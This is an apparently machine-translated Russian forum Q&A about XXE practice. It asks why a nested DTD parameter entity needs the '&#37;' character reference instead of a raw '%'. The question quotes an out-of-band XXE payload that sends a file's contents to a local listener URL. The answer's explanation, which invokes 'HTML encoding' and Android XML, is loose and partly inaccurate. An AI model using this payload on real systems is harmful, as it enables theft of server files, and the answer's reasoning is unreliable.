xml #dtd #xxe
#xml #dtd #xxe
Вопрос:
Когда я практиковал XXE, я обнаружил, что это работает, когда я использую ОБЪЕКТ DTD ниже для отправки моего запроса.
<!ENTITY % print "<!ENTITY amp;#37; send SYSTEM 'http://localhost:9090/landing?text=%file;'>">
Но это не сработало, когда я отправил это.
<!ENTITY % print "<!ENTITY % send SYSTEM 'http://localhost:9090/landing?text=%file;'>">
Разница между ними — «%» и «amp;#37;», интересно, почему это не сработало, когда я использую «%» непосредственно здесь.
Спасибо.
Ответ №1:
Это кодированный в HTML %
знак процента (escape-последовательность) в объявлении объекта ПАРАМЕТРА XML-файла, а XML использует кодировку HTML, чтобы не нарушать синтаксис.
То же самое и в Android XML, который он также знает %%
…
там raw %
обычно используется для подстановок.
Каноническая версия будет:
Поскольку синтаксис XML использует некоторые символы для тегов и атрибутов, невозможно напрямую использовать эти символы внутри тегов XML или значений атрибутов.
И именно поэтому некоторые специальные символы в XML ведут себя как «зарезервированное ключевое слово».
Также см. 15.3. Понимание XML DTD.